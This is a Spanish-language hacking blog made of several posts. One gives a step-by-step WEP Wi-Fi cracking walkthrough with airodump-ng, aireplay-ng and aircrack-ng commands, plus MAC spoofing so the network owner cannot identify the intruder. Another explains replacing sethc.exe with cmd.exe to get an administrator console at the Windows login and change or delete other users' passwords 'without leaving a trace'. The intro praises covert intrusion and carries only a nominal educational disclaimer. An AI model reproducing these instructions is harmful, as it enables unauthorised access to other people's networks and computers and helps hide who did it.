Hacking de Redes Wifi

Planificación:

- Introducción

- Live Cd/Usb

- Intrusion Windows de forma fisica
- Introducción a Python y distintos tipos de virus

- Bindear archivos

- Rastreo de sistemas

- Escanear vulnerabilidades
- Ocultación de ip

- Reventar contraseñas por fuerza bruta
- Explotar e intrusión a un PC remoto

- Hackear Redes WIFI

Capitulo x:

Debido a que algunos de vosotros me habeis dicho que estaria interesante eso de saber hackear las redes wifi os dejo aqui este articulo, espero que lo entendais todo, y si ves que algo no lo entendeis me lo decis.

Para comenzar os recomiendo una distribucion de linux llamada backtrack, que esta especializada en test de penetracion y hacking de sistemas, actualmente esta en su version 5 y que es la leche xD! Os la podeis descargar de forma gratuita en su web: http://www.backtrack-linux.org/

Para quien no este muy puesto en esto de los live usb, yo os recomiendo que os descargeis la version de KDE que esta mejor, y la arquitectura dependera de vuestro ordenador, aunque normalmente suele ser de 32.

Una vez lo tengais en el pendrive y tal lo arrancais en el PC...

Seleccionais la version default y cuando os deje escribir poneis "startx" y acabara de cargar el OS.

A continuacion os voy a explicar como hackear una red wifi, comenzaremos con una del tipo WEP y despues os mostrare como hacer lo mismo con una de tipo WPA.

Para comenzar abrimos una consola y ponemos los siguientes comandos:

"airmon-ng" (Con ello veremos la version de la tarjeta de red que tenemos)

"airmon-ng stop wlan0" (Con esto pararemos la tarjeta de red)

"ifconfig wlan0 down" (Pararemos todas las conexiones que tengamos)

"macchanger --mac 00:11:22:33:44:55 wlan0" (Este paso es bueno ya que cambiaremos nuestra mac, por lo tanto si la persona de la red que queremos hackear nos piyara no tendria ni idea de quien somos, ya que esa mac no es verdaderamente la nuestra)

"airmon-ng start wlan0" (Volvemos a encender la tarjeta de red aunque con nuestra mac cambiada xD)

A partir de aqui empezaremos con lo que realmente es hackear la wifi:

"airodump-ng wlan0" (Al hacer esto vereis que os empiezan a aparecer muchas wifis, pues son todas las que vuestro ordenador coge, debereis seleccionar una que sea tipo WEP y de la cual recivais #Data)

**Por cierto para los que no esten familiarizados con linux para terminar este tipo de procesos pulsar CTRL+C**

"airodump-ng -c X -w undercode --bssid xx:xx:xx:xx:xx wlan0" (A ver, en X tendreis que poner el CH, es decir el canal en el que se encuentra dicha red, y en xx:xx:xx:xx:xx la bssid de la red a hackear. Con este comando nos acomplamos a la red)

A continuacion habrimos una nueva consola sin detener el comando anterior, y en la nueva ponemos:

"aireplay-ng -1 0 -a xx:xx:xx:xx:xx -h 00:11:22:33:44:55 -e X wlan0" (Donde aparece xx:xx:xx:xx:xx tendremos que poner el bssid de STATION de la red a hackear, y en X la essid de la red a hackear que es el nombre que tiene. Con este comando lo que haremos hacer que la red a hackear nos acepte dentro de la red. En este paso unicamente saldran un par de cosas, asique si veis que os entra en un bucle sera porque algo esta fallando, ya sea porque la wifi esta muy lejos o por otras cosas)

"aireplay-ng -3 -b xx:xx:xx:xx:xx -h 00:11:22:33:44:55 wlan0" (Donde tenemos xx....xx introduciremos la misma bssid de antes, es decir la de STATION. Este comando sirve para inyectar trafico y con ello poder capturar la contraseña de la red. Por lo tanto una vez echo esto vereis que los #Data aumentan muchisimo mas rapido)

Y para terminar y sin cerrar ninguna de las dos ventanas abrimos una nueva y ponemos lo siguiente:

"airecrack-ng undercode-01.cap" (Con este comando hackearemos por fin la red, y nos dara la contraseña. Dependiendo de la contraseña necesitara mas o menos #Data, pero de vez en cuando darle a y ya vereis como en muy poco os la saca)

Bueno espero que os sirva este pequeño tutorial para poder hackear las redes WEP, en cuanto puedo me pondre con las WPA, aunque ya os digo que son mas complicadas... Bueno para terminar os dejo aqui algunas cosillas utiles.

Caracteres:

"-" en linux lo conseguis con la tecla ?

":" en linux lo conseguis con la tecla Ñ

Suerte y con cualquier duda avisarme!

Intrusión Windows de forma física

Planificación:

- Introducción

- Live Cd/Usb

- Intrusion Windows de forma fisica
- Introducción a Python y distintos tipos de virus

- Bindear archivos

- Rastreo de sistemas

- Escanear vulnerabilidades
- Ocultación de ip

- Reventar contraseñas por fuerza bruta
- Explotar e intrusión a un PC remoto

- Hackear Redes WIFI

Capitulo 3:

Bueno para que veáis que este blog si que os va a servir de algo quiero demostraros lo realmente sencillo que puede ser meterse en un ordenador que utilice Windows (Que son la inmensa mayoría) como administrador.

Comencemos... Para empezar os voy a pedir que pulseis 5 veces la tecla shift... Cuando lo hagais vereis que os sale una ventanita verdad? Pues bien esa ventanita unicamente es para crear una serie de comandos mediante teclas, algo que no sirve para casi nada ya que no es muy utilizado. Pero lo importante es que esa accion de pulsar 5 veces dicha tecla funciona siempre en Windows, estes donde estes.

Por ello... Imagina que en vez de que aparezca un programa como el de antes te aparece una consola de comandos (Es decir la ventanita negra), pues es eso exactamente lo que vamos a hacer.

Tenemos varias posibilidades...

- En caso de que el ordenador al que queremos acceder tenga varias cuentas de usuario donde alguna de ellas carece de contraseña (Lo que buscamos es meternos en la que tiene contraseña..) lo primero que vamos a hacer es meternos en la que no esta protegida.  

  Una vez dentro iremos a la carpeta que contiene todos los archivos del sistema operativo es decir... Nos vamos a mi pc, a nuestro disco duro, buscamos la carpeta de "WINDOWS" y alli buscamos la carpeta "system32". Una vez estemos alli vamos a buscar un archivo sethc.exe, y lo borramos, despues copiamos el archivo cmd.exe en el escritorio, y le cambiamos en nombre a sethc.exe y ese archivo lo copiamos en la carpeta de "system 32".

  Despues unicamente tenemos que reiniciar el ordenador y cuando nos pida seleccionar la cuenta con la que deseamos entrar pulsamos 5 veces la tecla shift y vereis como os aparece la consola de comandos.

  Una vez ahi ponemos lo siguiente: "control userpasswords2" y vereis como nos sale el panel de contraseñas, y donde podemos desde borrar todas las cuentas hasta cambiar las contraseñas o lo que queramos asique ya esta, ya os podeis meter en la cuenta que querais si dejar rastro.

- En caso de que todas las cuentas esten bloqueadas lo que debeis hacer es cargar un sitema operativo de linux, despues hacemos lo mismo que en el anterior, buscamos el archivo sethc.exe, lo borramos y tal.. Una vez cambiados los archivos reiniciamos el ordenador cargando WINDOWS y una vez nos pida elegir la cuenta pulsamos las 5 veces la tecla shift.

Y esto es todo, la explicacion de que te deje cambiar todas las contraseñas es que al inicializar la consola desde ese punto accedes como administrador lo que te permite tener acceso al sistema entero.

Live CD/Usb

Planificación:

- Introducción

- Live Cd/Usb

- Intrusion Windows de forma fisica
- Introducción a Python y distintos tipos de virus

- Bindear archivos

- Rastreo de sistemas

- Escanear vulnerabilidades
- Ocultación de ip

- Reventar contraseñas por fuerza bruta
- Explotar e intrusión a un PC remoto

- Hackear Redes WIFI

Capitulo 2:

Para comenzar voy a explicar que es lo que es eso de un Live CD o un Live usb..

Pues bien, para que un ordenador se inicie de forma correcta carga en memoria el sistema operativo al arrancar el PC, pues con un Live CD/usb lo que hacemos es eso con la diferencia de que en vez de cargar el sistema operativo de la memoria del ordenador lo cargamos desde la un cd o un usb mediante un archivo .iso.

Para los que no lo sepas un archivo .iso es la imagen de un sistema operativo en palabras mayores, es decir que es todo lo que un ordenador necesita para poder cargar el sistema operativo.

Para crear un Live CD únicamente tenemos que descargar desde internet la imagen o el archivo .iso del sistema operativo que deseamos y lo quemamos en un cd. Después para cargar el sistema operativo que nos hemos descargado, metemos el CD en el PC, reiniciamos el ordenador y en el menú de la BIOS seleccionamos arrancar desde el lector de CD/DVD.

Una vez echo eso comenzara a cargar el sistema operativo.

Para poder crear un Live Usb es algo mas complejo ya que no solo tenemos que meter la .iso en el usb. Lo que debemos hacer es lo siguiente:

- Descargarnos un programa llamado unetbootin (http://www.mediafire.com/?up347l0w17f48ax).

- Después lo arrancamos ya que no necesita de instalación.

- Seleccionamos la opción de .iso, y el lugar de nuestro PC donde tenemos guardado el archivo.

- Después seleccionamos la unidad usb donde queremos instalar el sistema operativo, y una vez terminado reiniciamos el ordenador, repitiendo la misma acción que con el Live CD, pero seleccionamos en la BIOS la opción de arrancar desde el usb.

Estas son las dos formas que tenemos de arrancar el ordenador con un sistema operativo distinto al que tiene el PC.

Este capitulo es muy importante para poder realizar el siguiente con éxito.

Mas tarde hablaremos de como instalar en nuestro ordenador una maquina virtual, que es algo muy practico para poder hacer pruebas con virus creador por nosotros y ataques desde nuestro ordenador a nosotros mismo sin posibilidad de sufrir ningún riesgo.

Introducción al hacking

Planificación:

- Introducción

- Live Cd/Usb

- Intrusion Windows de forma fisica
- Introducción a Python y distintos tipos de virus

- Bindear archivos

- Rastreo de sistemas

- Escanear vulnerabilidades
- Ocultación de ip

- Reventar contraseñas por fuerza bruta
- Explotar e intrusión a un PC remoto

- Hackear Redes WIFI

Capitulo 1:
Bueno, la definición típica del hacker es: "un aficionado a los ordenadores o computadoras, un usuario totalmente cautivado por la programación y la tecnología informática. En la década de 1980, con la llegada de las computadoras personales, y posteriormente con la posibilidad de conexión a los grandes sistemas de ordenadores a través de Internet, este término adquirió una connotación peyorativa y comenzó a usarse para denominar a quien se conecta a una red para invadir en secreto computadoras, y consultar o alterar los programas o los datos almacenados en las mismas. También se utiliza para referirse a alguien que, además de programar, disfruta desensamblando sistemas operativos y programas para entender su lógica de funcionamiento". Una buena definición acerca de lo que es un hacker, y además dice algo esencial, a un hacker se le denomina delicuente pero... veamos más.

El hacking es ampliamente considerado ilegal. El movimiento hacker es estigmado, desacreditado y perseguido por los medios de comunicación y la cultura corporativa como juvenil, trastornador, y criminal. Y todo el tiempo es generalmente mal interpretado.

"Los hackers son definidos como entusiastas de la informática que tienen un interés ardiente en aprender acerca de los sistemas y como usarlos de formas inovadoras". Esta definición, por tanto, no incluye a los hackers malignos que deliberadamente rompen sistemas y borran ficheros, sino a esos hackers que exploran sistemas simplemente por el reto intelectual y que no dejan indicios de sus andaduras. Además, hay generalmente hay malos usos del término ya que en el underground informático no sólo está formado por hackers, sino también otras clases de entusiastas informáticos, por ejemplo, crackers, phreakers, piratas de software, etc. (y el público en general piensa que todos son hackers).

Si, hay "hackers" que destruyen ficheros y rompen sistemas, pero ciertamente no conforman la abrumadora mayoría de hackers, además no deben de ser llamados hackers, sino crackers. Muchos hackers, como su intención primaria, pasan completamente desapercibidos en los sistemas que eligen hackear y no son nunca descubiertos. El no dejar rastros o huellas es lo más importante de los hackers.

"Estamos sedientos de conocimientos e información, y ¿puedes entonces realmente pensar que vamos a destruir eso que es sagrado para nosotros? ¿Para quitarle la oportunidad a otro de tener éxito al entrar como nosotros lo hicimos? ¿para hechar más leña al fuego de una ya terrible reputación y aumentar las posibilidades de ser pillados y así efectivamente arruinar nuestras vidas y carreras?" [Toxic Shock: 1990]

El enemigo de los hackers son aquellos que tratan de oprimirles todo lo que pueden, el Estado y las grandes corporaciones. El hacking, como una forma de protesta socio-politica, es por tanto difamado y denunciado en los medios por estas instituciones. El hacking es un fenómeno internacional, y sus miembros van más allá de las líneas etnicas, raciales, de sexo y vocacionales.

Los hackers han sido considerados siempre un grupo marginal en la sociedad. En los colegios, lo hackers son vistos como "novatos/lerdos" y "solitarios" sin habilidades sociales; en la gran sociedad, son perseguidos por aquellos que están en el poder.

"Soy un hacker. Si alguna vez le digo eso a alguien inmediatamente se asumira que soy maligno, vandálico, ladrón, un pseudo-terrorista que sale para tomar los ordenadores del mundo en beneficio personal o probablemente para cosechar alguna satisfacción morbosa borrando megas y megas de datos valiosos. Se me asocia con el underground informático. Si alguna vez les digo eso a alguien, habrí un flujo destellante de asociaciones estúpidas en la mende de esa persona entre yo y La Mafia, con Saddam HUssein, Syria, Libya, Abu, NIdal y quien sabe que más. Casi universalmente entre la mayoría ignorante, nosotros los hackers somos considerados como gamberros peligrosos cuyo único propósito en la vida es el de causar daño como nos sea posible en el menor tiempo posible al mayor número de gente. Seguro, hay esos pequeños crios (fisica y mentalmente) que se hacen llamar 'hackers' y que concuerdan con las descripciones de arriba. Hay también gente que se hace llamar 'seres humanos' que violan, asesinan, engañan, mienten y roban cada poco minutos. Significa eso que todos los seres humanos deberían de ir a la cárcel" (Toxic Shock, 1990).

Como conclusión, tenemos que los hackers son temidos y respetados. Los hackers no son malignos, son las personas que les encata el conocimiento, la electrónica, la informatica, trata de superarse día a día. Por esta razón su intrusión en sistemas ajenos, pero no los destruye, sólo observa. Para que querríamos destruir lo que es más valioso para nosotros... la informacion. Además un hacker se preocupa por no dejar huellas, las borrar. Un hacker no busca un lucro propio ni tampoco destrozar un sistema, sino demostrarse a sí mismo que es mejor que el administrador de ese sistema. Un hacker no nace, se hace, con el conocimiento que adquiere día con día. Sin dejarse vencer por los demás, sin sentirse un criminal ya que no lo es... "El conocimiento es poder".


Fuente: http://www.wikilearning.com/tutorial/introduccion_al_hack-introduccion/4431-1
-----------------------------------------------------------------------------------------------------


Por ello, con este blog pretendo ayudar a todos aquellos que desean aprender como los hacker logran introducirse en sistemas ajenos y como logran hacerlo sin ser detectados... Para todos ellos dedico este blog con la esperanza de ayudarles a comprender esas tecnicas.

Planificacion

La planificación que seguira este blog por ahora sera la siguiente:

- Introducción

- Live Cd/Usb

- Intrusion Windows de forma fisica 

- Introducción a Python y distintos tipos de virus

- Bindear archivos

- Rastreo de sistemas

- Escanear vulnerabilidades
- Ocultación de ip

- Reventar contraseñas por fuerza bruta
- Explotar e intrusión a un PC remoto

- Hackear Redes WIFI

Donde cada semana se publicara un articulo sobre el tema junto con las diferentes formas de solucionarlo.


Todos los contenidos del blog estaran preparados para gente que se inicie en el mundo del hacking, por lo que no requiere de grandes conociemientos previos. Ademas para cada articulo habra una serie de programas y articulos de mas informacion que podreis bajar de forma gratuita y con la certeza de que no tienen ningun tipo de virus debido a que habran sido subidos por mi. Ademas en este misma direccion podreis encontrar para los que no lo tengais un buen antivirus y de forma gratuita (http://www.mediafire.com/?33fx3hqprt74he6).




Por supuesto todos aquellos que deseen tratar otro tema que no se encuentre en la planificacion pido que me lo digan mediante un comentario para tratarlo en cuanto se pueda.


**Todos los contenidos que se explicaran en este blog tienen un caracter educativo, y no me hago responsable del mal uso de esta informacion**